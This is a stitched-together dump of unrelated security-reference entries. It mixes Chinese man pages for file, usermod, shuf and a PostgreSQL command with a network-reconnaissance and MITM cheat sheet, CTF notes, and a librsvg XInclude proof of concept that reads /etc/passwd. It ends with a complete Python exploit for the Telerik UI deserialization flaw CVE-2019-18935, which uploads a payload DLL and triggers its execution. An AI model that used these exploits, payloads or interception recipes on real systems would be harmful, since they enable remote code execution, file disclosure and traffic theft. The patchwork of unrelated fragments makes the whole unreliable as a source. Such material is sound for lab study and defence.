bash: /tmp/rootshell: Permission denied ```
sec-knowleage
.TH FILE 1 "Copyright but distributable" .SH NAME file \- 确定文件类型 .SH 总览 .B file [ .B \-bcnsvzL ] [ .B \-f 命名文件 ] [ .B \-m 幻数文件 ] file ... .SH 描述 本手册页说明了3.27版本 .B file 命令的使用. .B File 命令试图检查每个参数以判定文件的类型. 检查共有三组,按如下顺序进行:文件系统检查,幻数检查,以及语言检查. .I 文件系统 检查成功则输出文件类型. .PP 输出的类型一般会包含以下的词中的一个: .B text (文件中仅有 .SM ASCII 字符,可以用 .SM ASCII 终端读此文件,以保证内容的可靠性), .B executable (文件中保存的是程序编译后的结果,一些\s-1UNIX\s0 内核或其它内核能理解这类文件), 或者 .B data 表示所有其它类型文件(data 一般为二进制文件或者不可打印的). 但是有的常用的文件格式(如core文件、tar包),虽然也包含二进制数据, 却不属于这一类 如果要修改 .I /usr/share/magic 或者程序本身, .B "preserve these keywords" . 当文件为``text'' 类型时,认为此文件为可读文件. 不要象在Berkeley环境中那样做 \- 要把``shell commands text''改为``shell script''. .PP 文件系统检查是建立在对 .BR stat (2) 系统调用结果的分析上的. 程序会分析文件是否为空,或者是否是某种特殊文件. 对于所有可在现有系统上使用的文件类型 (比如套接 口文件,动态链接文件,命名管道文件(FIFOs) 等), 只要它在系统头文件 .IR sys/stat.h 中已经定义过,就可以被检查到. .PP 幻数检查用来检查文件中是否有特殊的固定格式的数据. 规范的例子如二进制可执行文件(编译后的程序) .I a.out ,该文件格式在标准include目录下的 .I a.out.h 文件中定义,也可能在 .I exec.h 中定义. 这些文件在文件开始部分附近的一个特殊位置保存有一个'幻数' , 通过幻数告诉\s-1UNIX\s0 操作系统此文件是二进制可执行文件, 和其中包含的其它类型. 幻数的概念已经扩展到数据文件.任何在文件固定位置有与文件类型 相关的不变标识符的文件都可以这样表示. 这些文件中的信息可以 从幻数文件 .I /usr/share/magic 中读取. .PP 如果文件为 .SM ASCII 文件, .B file 会试图检查它的语言. 语言检查在文件开始的几个块中(任意位置)查找是否有特殊字符串(参看 .IR names.h ) 例如,关键字 .B .br 指出此文件很可能是 .BR troff (1) 输入文件, 而关键字 .B struct 指出此文件是C程序. 语言检查不如前两组检查可靠,所以放在最后执行.它也用来检查 一些混合文件(例如 .BR tar (1) 存档文件)并确定文件是`ascii text'类型还是`data'类型. .SH 选项 .TP 8 .B \-b 不输出文件名 (简要模式). .TP 8 .B \-c 检查时打印输出幻数文件的解析结果.常与 .B \-m 一起使用,用来在安装幻数文件之前调试它. .TP 8 .B \-f 命名文件 从在参数表前的 .I 命名文件 中读出将要检查的文件名(每行一个文件).要有 .I 命名文件 ,或者至少有一个文件名参数; 如果要检查标准输入, 使用``-''作为文件参数. .TP 8 .B \-m list 指定包含幻数的文件列表.可以是单个文件,也可以是 用冒号分开的多个文件. .TP 8 .B \-n 每检查完一个文件就强制刷新标准输出. 仅在检查一组文件时才有效. 一般在将文件类型输出到管道时才采用此选项. .TP 8 .B \-v 打印程序版本并退出. .TP 8 .B \-z 试图查看压缩文件内部信息. .TP 8 .B \-L (在支持符号链接的系统上)选项显示符号链接文件的原文件, 就像 .BR ls (1) 命令的like-named 选项. .TP 8 .B \-s 通常, .B file 只是试图去检查在文件列表中那些 .BR stat (2) 报告为正常文件的文件的类型.由于读特殊文件将可能导致 不可知后果,所以这样可以防止发生问题.使用 .BR \-s 选项时 .B file 命令也将去读文件列表中的块特殊文件和字符特殊文件. 一般用于从原始磁盘分区中获得文件系统类型,此文件为块 特殊文件. 这个选项也导致 .B file 命令忽略 .BR stat (2) 报告的文件大小,因为在有些系统中原始磁盘分区的大小报告为0. .SH 文件 .I /usr/share/magic \- 默认的幻数列表 .SH ENVIRONMENT 环境变量 .B MAGIC 用于设置默认的幻数文件. .SH 参看 .BR magic (4) \- 幻数文件的格式. .br .BR strings (1), " od" (1), " hexdump(1)" \- 检查非textfile的工具. .SH 标准的一致性 本程序比System V 的FILE命令强大, 几乎能分辨出所有的模糊语言. 与System V 的FILE命令大部分兼容.本版本能识别更多的magic, 但是,也将因此在有些情况下会产生不同输出(尽管更加精确). .PP 本版本与System V的显著区别就是本版本对空格是作为分隔符来 处理的, 所以不能在格式字符串中包含空格. 例如,现有幻数文 件中的 .br >10 string language impress\ (imPRESS data) .br 要改为 .br >10 string language\e impress (imPRESS data) .br 另外, 格式字符串中的反斜线符号也要避免.例如,现有幻数文件中的 .br 0 string \ebegindata Andrew Toolkit document .br 要改为 .br 0 string \e\ebegindata Andrew Toolkit document .br .PP SunOS releases 3.2及以后的版本包括从System V 发展来的 .BR file (1) 命令,但有所扩展.本版本与Sun的file命令差别不大.它包括对 `&' 操作符的扩展,例如, .br >16 long&0x7fffffff >0 not stripped .SH MAGIC DIRECTORY 幻数文件项主要是从USENET收集来的,许多人都为此作出了贡献. Christos Zoulas (下边将提到的)将收集附加项信息及修正幻数文件项. 幻数文件项的合并表将会定时发布. .PP 幻数文件项的顺序非常重要.不同的系统上的幻数项放的顺序可能不同. 如果老的 .B file 命令使用幻数文件,请将旧的幻数文件改名保存, (如改为 .IR /usr/share/magic.orig ) 以便日后做比较用. .SH 举例 .nf $ file file.c file /dev/hda file.c: C program text file: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked, not stripped /dev/hda: block special $ file -s /dev/hda{,1,2,3,4,5,6,7,8,9,10} /dev/hda: x86 boot sector /dev/hda1: Linux/i386 ext2 filesystem /dev/hda2: x86 boot sector /dev/hda3: x86 boot sector, extended partition table /dev/hda4: Linux/i386 ext2 filesystem /dev/hda5: Linux/i386 swap file /dev/hda6: Linux/i386 swap file /dev/hda7: Linux/i386 swap file /dev/hda8: Linux/i386 swap file /dev/hda9: empty /dev/hda10: empty .fi .SH 历史 There has been a .B file 命令至少是从研究版本6(手册页时间为1975年1月)开始加入\s-1UNIX\s0中的. System V 版本引入了一个重要变化:幻数类型的外部表.程序的运 行时间有轻微下降, 但是复杂性大大增加了. .PP 本程序是基于System V 版本的,由Ian Darwin独立设计和编写. .PP John Gilmore对源代码做了较大修改,在第一版基础上有较大提高. Geoff Collyer发现了一些不足之处,并提供了一些幻数文件项. 本程序一直在完善中. .SH 作者 由Ian F. Darwin写源码, UUCP 地址 {utzoo | ihnp4}!darwin!ian, 电子邮件 ian@sq.com, 邮寄地址: P.O. Box 603, Station F, Toronto, Ontario, CANADA M4Y 2L8. .PP 由Rob McMahon修改, cudcv@warwick.ac.uk, 1989, 并对`&'操作符进行了扩充 (不再仅仅是简单的 `x&y != 0',而是象`x&y op z'这样). .PP 由Guy Harris修改, guy@netapp.com, 1993,完成: .RS .PP 恢复``old-style'' `&' 操作符为原来的功能,因为 1) Rob McMahon所做的修改打破了原来的使用方式, 2) 本版本的 .B file 命令支持的SunOS 的``new-style'' `&' 操作符也处理 `x&y op z', 3) Rob的修改对某些情况没有考虑到; .PP 引入多级`>'; .PP 引入``beshort'', ``leshort'', 等关键字使得程序能够按照一定的比特顺序 查看文件中的比特数,而不是仅按运行 .BR file 时的本地比特顺序查看. .RE .PP 由Ian Darwin和其他作者(包括Christos Zoulas(christos@astron.com))修改, 1990-1999. .SH 合法性通告 版权所属 (c) Ian F. Darwin, Toronto, Canada, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993. .PP 本软件独立于美国电话电报公司,Sun微系统公司,Digital设备公司, Lotus发展公司 , California大学董事会,X联盟或者MIT,或者自由软件基金会. .PP 本软件独立于美国商业部的任何出口规定,可以自由用于任何国家和行星. .PP 任何人无需授权即可在任何计算机系统上使用此软件用于任何目的, 可以自由修改和发布,但要遵守以下限制: .PP 1. 作者对使用此软件造成的任何后果不负任何责任,无论多么严重, 即使这些后果是由于软件造成的. .PP 2. 禁止不如实说明本软件的来源,无论是明确说错或是忽略. 由于很少有用户读源码, 所以在文件中一定要说明软件来源. .PP 3. 修改后的版本必须明白的标明,禁止将其作为原始软件.由于很少有用户读源码, 所以在文件中一定要说明软件来源. .PP 4. 禁止删除或修改本通告. .PP 随同本包发布的几个支持文件(\fIgetopt\fP, \fIstrtok\fP)由 Henry Spencer完成,同样适用以上条款. .PP 随同本包发布的几个支持文件(\fIstrtol\fP, \fIstrchr\fP)属于公共域的;都做了标记. .PP 文件 .I tar.h 和 .I is_tar.c 由 .B tar 程序组的John Gilmore完成,无需遵从以上条款. .SH 臭虫 必定存在一种更好的方法来根据Magdir中的glop来自动创建Magic 文件.是什么方法呢?要更好的实现,那么幻数文件应该编译成二进制 (就是说, .BR ndbm (3) 或者, 在异种网络环境中采用定长的 .SM ASCII 字符串)来加快启动速度.这样,程序就能达到Version 7 中的 file命令那样的运行速度,同时又具有System V 版本的灵活性. .PP .B File 使用的一些算法虽然提高了速度,但精确性降低了,因此 在对 .SM ASCII 文件内容操作有时会出错. .PP 对 .SM ASCII 文件的支持(基本上是对编程语言)过于简单,效率较低,需要重新编译并更新. .PP 在一系列连续行后应该跟着有一个``else''从句. .PP 幻数文件和关键词应该有正则表达式的支持. 使用 .SM "ASCII TAB" 作为分隔符非常不足取,导致很难编辑文件, 但也因此受到保护. .PP 在关键词中使用大写字母是可取的. 例如, .BR troff (1) 命令与查看手册页的宏. 正则表达式支持将使这易于实现. .PP 本程序没有实现对 \s-2FORTRAN\s0 的理解. 应该能够通过在开始行中出现的关键字识别出\s-2FORTRAN\s0 . 正则表达式支持将使这易于实现. .PP 文件 .I ascmagic 中的关键词表可能应归入Magic文件. 这能通过使用象`*'这样的关键词来实现偏移量. .PP 另一个优化是要对幻数文件排序,这样,我们就可以 在取得第一个比特,第一个词,第一个长整型,等等的时候完成 对它们所有的检查.抱怨在幻数文件项中的冲突.制定一条规则, 将幻数项在文件偏移量的基础上排序,胜过在幻数文件里指定位置吗? .PP 本程序应提供一种方法来评价一种猜测有"多么好". 我们去除了一些先前的设想(如,将 ``From '' 作为文件的最初5个字符) 因为它们不如其它的设想好(如,``Newsgroups:'' 对"Return-Path:"). 如果没有其它的设想提出,就很可能会采纳第一种设想. .PP 本程序比某些file命令执行速度慢. .PP 本手册,特别是本部分,比较长. .SH 可用性 可以通过匿名FTP登陆到 .B ftp.astron.com 在目录下 .I /pub/file/file-X.YY.tar.gz 获得作者的命令的最新版本 .SH "[中文版维护人]" .B 姓名 <email> .SH "[中文版最新更新]" .B 2001/07/15 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Network Discovery ## Summary - [Nmap](#nmap) - [Network Scan with nc and ping](#network-scan-with-nc-and-ping) - [Spyse](#spyse) - [Masscan](#masscan) - [Netdiscover](#netdiscover) - [Responder](#responder) - [Bettercap](#bettercap) - [Reconnoitre](#reconnoitre) - [SSL MITM with OpenSSL](#ssl-mitm-with-openssl) - [References](#references) ## Nmap * Ping sweep (No port scan, No DNS resolution) ```powershell nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down" -sn : Disable port scanning. Host discovery only. -n : Never do DNS resolution ``` * Basic NMAP ```bash sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4 sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv • the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports • the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000) • 192.168.0.1 is the IP address to scan • -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE" • -iL INPUTFILE tells Nmap to use the provided file as inputs ``` * CTF NMAP This configuration is enough to do a basic check for a CTF VM ```bash nmap -sV -sC -oA ~/nmap-initial 192.168.1.1 -sV : Probe open ports to determine service/version info -sC : to enable the script -oA : to save the results After this quick command you can add "-p-" to run a full scan while you work with the previous result ``` * Aggressive NMAP ```bash nmap -A -T4 scanme.nmap.org • -A: Enable OS detection, version detection, script scanning, and traceroute • -T4: Defines the timing for the task (options are 0-5 and higher is faster) ``` * Using searchsploit to detect vulnerable services ```bash nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml ``` * Generating nice scan report ```bash nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html" ``` * NMAP Scripts ```bash nmap -sC : equivalent to --script=default nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap PORT STATE SERVICE 80/tcp open http | http-enum: | /phpmyadmin/: phpMyAdmin | /.git/HEAD: Git folder | /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' |_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' nmap --script smb-enum-users.nse -p 445 [target host] Host script results: | smb-enum-users: | METASPLOITABLE\backup (RID: 1068) | Full name: backup | Flags: Account disabled, Normal user account | METASPLOITABLE\bin (RID: 1004) | Full name: bin | Flags: Account disabled, Normal user account | METASPLOITABLE\msfadmin (RID: 3000) | Full name: msfadmin,,, | Flags: Normal user account List Nmap scripts : ls /usr/share/nmap/scripts/ ``` ## Network Scan with nc and ping Sometimes we want to perform network scan without any tools like nmap. So we can use the commands `ping` and `nc` to check if a host is up and which port is open. To check if hosts are up on a /24 range ```bash for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done ``` To check which ports are open on a specific host ```bash for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done ``` Both at the same time on a /24 range ```bash for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done ``` Not in one-liner version: ```bash for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done ``` ## Spyse * Spyse API - for detailed info is better to check [Spyse](https://spyse.com/) * [Spyse Wrapper](https://github.com/zeropwn/spyse.py) #### Searching for subdomains ```bash spyse -target xbox.com --subdomains ``` #### Reverse IP Lookup ```bash spyse -target 52.14.144.171 --domains-on-ip ``` #### Searching for SSL certificates ```bash spyse -target hotmail.com --ssl-certificates ``` ```bash spyse -target "org: Microsoft" --ssl-certificates ``` #### Getting all DNS records ```bash spyse -target xbox.com --dns-all ``` ## Masscan ```powershell masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000 # find machines on the network sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst # find open ports for one machine sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst # TCP grab banners and services information TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1) [ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP # UDP grab banners and services information UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1) [ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP ``` ## Reconnoitre Dependencies: * nbtscan * nmap ```powershell python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick ``` If you have a segfault with nbtscan, read the following quote. > Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255 ## Netdiscover ```powershell netdiscover -i eth0 -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom 192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor 192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc. 192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD ``` ## Responder ```powershell responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding. responder.py -I eth0 -wrf ``` Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows) ## Bettercap ```powershell bettercap -X --proxy --proxy-https -T <target IP> # better cap in spoofing, discovery, sniffer # intercepting http and https requests, # targetting specific IP only ``` ## SSL MITM with OpenSSL This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl. If you can modify `/etc/hosts` of the client: ```powershell sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client host ``` On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server): ```powershell openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem ``` On our MITM server, we setup our infra: ```powershell mkfifo response sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response ``` In this example, traffic is only displayed with `tee` but we could modify it using `sed` for example. ## References * [TODO](TODO)
sec-knowleage
usermod === 用于修改用户的基本信息 ## 补充说明 **usermod命令** 用于修改用户的基本信息。usermod 命令不允许你改变正在线上的使用者帐号名称。当 usermod 命令用来改变user id,必须确认这名user没在电脑上执行任何程序。你需手动更改使用者的 crontab 档。也需手动更改使用者的 at 工作档。采用 NIS server 须在server上更动相关的NIS设定。 ### 语法 ```shell usermod(选项)(参数) ``` ### 选项 ```shell -c<备注>:修改用户帐号的备注文字; -d<登入目录>:修改用户登入时的目录,只是修改/etc/passwd中用户的家目录配置信息,不会自动创建新的家目录,通常和-m一起使用; -m<移动用户家目录>:移动用户家目录到新的位置,不能单独使用,一般与-d一起使用。 -e<有效期限>:修改帐号的有效期限; -f<缓冲天数>:修改在密码过期后多少天即关闭该帐号; -g<群组>:修改用户所属的群组; -G<群组>;修改用户所属的附加群组; -l<帐号名称>:修改用户帐号名称; -L:锁定用户密码,使密码无效; -s<shell>:修改用户登入后所使用的shell; -u<uid>:修改用户ID; -U:解除密码锁定。 ``` ### 参数 登录名:指定要修改信息的用户登录名。 ### 实例 将 newuser2 添加到组 staff 中: ```shell usermod -G staff newuser2 ``` 修改newuser的用户名为newuser1: ```shell usermod -l newuser1 newuser ``` 锁定账号newuser1: ```shell usermod -L newuser1 ``` 解除对newuser1的锁定: ```shell usermod -U newuser1 ``` 增加用户到用户组中: ```shell apk add shadow # 安装 shadow 包, usermod 命令包含在 usermod 中 usermod -aG group user # 添加用户到用户组中 ``` `-a` 参数表示附加,只和 `-G` 参数一同使用,表示将用户增加到组中。 修改用户家目录: ``` [root@node-1 ~]# useradd lutixiaya [root@node-1 ~]# ls /home lutixiaya [root@node-1 ~]# usermod -md /data/new_home lutixiaya [root@node-1 ~]# ls /home/ [root@node-1 ~]# ls /data/ new_home ```
sec-knowleage
shuf === 产生随机的排列。 ## 概要 ```shell shuf [OPTION]... [FILE] shuf -e [OPTION]... [ARG]... shuf -i LO-HI [OPTION]... ``` ## 主要用途 - 将输入的内容随机排列并输出。 - 当没有文件或文件为`-`时,读取标准输入。 ## 选项 ```shell -e, --echo 将每个ARG视为输入行。 -i, --input-range=LO-HI 将数字范围LO(最低)到HI(最高)之间的作为输入行。 -n, --head-count=COUNT 只输出前COUNT行。 -o, --output=FILE 将结果写入到文件而不是标准输出。 --random-source=FILE 将FILE中内容作为随机数据源。 -r, --repeat 输出行可以重复。 -z, --zero-terminated 行终止符为NUL(空字符)而不是默认的换行符。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 参数 FILE(可选):要处理的文件,可以为任意数量。 ARG(可选):作为输入行的字符串,可以为任意数量。 ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 ```shell # 模拟硬币抛掷,获取前10个结果: [user2@pc ~]$ shuf -r -n 10 -e "正面" -e "反面" 反面 正面 正面 正面 反面 反面 反面 正面 正面 正面 ``` ```shell [user2@pc ~]$ shuf -i 1-35 -n 5|sort -n && shuf -i 1-12 -n 2|sort -n 4 17 20 29 31 6 11 ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,更多详细的帮助信息请查看`man -s 1 shuf`,`info coreutils 'shuf invocation'`。
sec-knowleage
# H1 Thermostat - FLAG0 ## 0x00 Configure Proxy Set Android Emulator use the Burp proxy. ![](./imgs/proxy.jpg) ## 0x01 Install APK Just drug apk to install it into Android Emulator. And start the app. Here comes the first FLAG in the POST request. ![](./imgs/flag.jpg)
sec-knowleage
import subprocess import string for a in string.letters: for b in string.letters: with open("/tmp/ff", "wb") as f: f.write(": You probably just want the flag. So here it is: CTF{dZXi%c%c--------PIUTYMI}. :" % (a, b)) o = subprocess.check_output([ "./crchack", "-w64", "-p", "0x42F0E1EBA9EA3693", "-Rr", "/tmp/ff", "0x30d498cbfb871112", "-o", "61"]) l = len(repr(o)) if l < 85: print a, b, l, repr(o)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ALTER OPERATOR CLASS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ALTER OPERATOR CLASS \- 修改一个操作符表的定义 .SH SYNOPSIS .sp .nf ALTER OPERATOR CLASS \fIname\fR USING \fIindex_method\fR RENAME TO \fInewname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBALTER OPERATOR CLASS\fR 修改一个操作符表的定义。 目前唯一支持的功能是重命名这个操作符表。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现有操作符的名字(可以有模式修饰) class. .TP \fB\fIindex_method\fB\fR 这个操作符表操作的索引方法的名字。 .TP \fB\fInewname\fB\fR 操作符表的新名字。 .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 ALTER OPERATOR CLASS 语句。 .SH "SEE ALSO 参见" CREATE OPERATOR CLASS [\fBcreate_operator_class\fR(7)], DROP OPERATOR CLASS [\fBdrop_operator_class\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Librsvg XInclude Arbitrary file reading (CVE-2023-38633) [中文版本(Chinese Version)](README.zh-cn.md) Librsvg is a free software SVG rendering library written as part of the GNOME project, intended to be lightweight and portable. A directory traversal problem in the URL decoder of librsvg before 2.56.3 could be used by local or remote attackers to disclose files (on the local filesystem outside of the expected area), as demonstrated by `href=".?../../../../../../../../../../etc/passwd` in an xi:include element. References: - <https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/> - <https://gitlab.gnome.org/GNOME/librsvg/-/issues/996> ## Vulnerable Environment Executing following command to start a PHP server that uses librsvg 2.50.7 to handle SVG images: ``` docker compose up -d ``` After the server is started, browse `http://your-ip:8080` to see the upload page. ## Exploit Use `<xi:include>` to read the local file by this POC: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude"> <rect width="300" height="300" style="fill:rgb(255,255,255);" /> <text x="10" y="100"> <xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8"> <xi:fallback>file not found</xi:fallback> </xi:include> </text> </svg> ``` Upload this SVG image to server, you will see the `/etc/passwd` that is embedded in the output image: ![](1.png)
sec-knowleage
#!/usr/bin/env python3 # origin : https://github.com/noperator/CVE-2019-18935 # INSTALL: # git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935 # python3 -m venv env # source env/bin/activate # pip3 install -r requirements.txt # Import encryption routines. from sys import path path.insert(1, 'RAU_crypto') from RAU_crypto import RAUCipher from argparse import ArgumentParser from json import dumps, loads from os.path import basename, splitext from pprint import pprint from requests import post from requests.packages.urllib3 import disable_warnings from sys import stderr from time import time from urllib3.exceptions import InsecureRequestWarning disable_warnings(category=InsecureRequestWarning) def send_request(files): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0', 'Connection': 'close', 'Accept-Language': 'en-US,en;q=0.5', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1' } response = post(url, files=files, verify=False, headers=headers) try: result = loads(response.text) result['metaData'] = loads(RAUCipher.decrypt(result['metaData'])) pprint(result) except: print(response.text) def build_raupostdata(object, type): return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type) def upload(): # Build rauPostData. object = { 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version), 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version), 'MaxFileSize': 0, 'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk. 'Ticks': 1440000000000, 'Days': 0, 'Hours': 40, 'Minutes': 0, 'Seconds': 0, 'Milliseconds': 0, 'TotalDays': 1.6666666666666666, 'TotalHours': 40, 'TotalMinutes': 2400, 'TotalSeconds': 144000, 'TotalMilliseconds': 144000000 }, 'UseApplicationPoolImpersonation': False } type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' raupostdata = build_raupostdata(object, type) with open(filename_local, 'rb') as f: payload = f.read() metadata = { 'TotalChunks': 1, 'ChunkIndex': 0, 'TotalFileSize': 1, 'UploadID': filename_remote # Determines remote filename on disk. } # Build multipart form data. files = { 'rauPostData': (None, raupostdata), 'file': (filename_remote, payload, 'application/octet-stream'), 'fileName': (None, filename_remote), 'contentType': (None, 'application/octet-stream'), 'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'), 'metadata': (None, dumps(metadata)) } # Send request. print('[*] Local payload name: ', filename_local, file=stderr) print('[*] Destination folder: ', temp_target_folder, file=stderr) print('[*] Remote payload name:', filename_remote, file=stderr) print(file=stderr) send_request(files) def deserialize(): # Build rauPostData. object = { 'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote } type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(object, type) # Build multipart form data. files = { 'rauPostData': (None, raupostdata), # Only need this now. '': '' # One extra input is required for the page to process the request. } # Send request. print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr) start = time() send_request(files) end = time() print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr) if __name__ == '__main__': parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.') parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln") parser.add_argument('-v', dest='ui_version', required=True, help='software version') parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version') parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL') parser.add_argument('-f', dest='folder', required=True, help='destination folder on target') parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau') args = parser.parse_args() temp_target_folder = args.folder.replace('/', '\\') ui_version = args.ui_version net_version = args.net_version filename_local = args.payload filename_remote = str(time()) + splitext(basename(filename_local))[1] url = args.url upload() if not args.test_upload: deserialize()
sec-knowleage
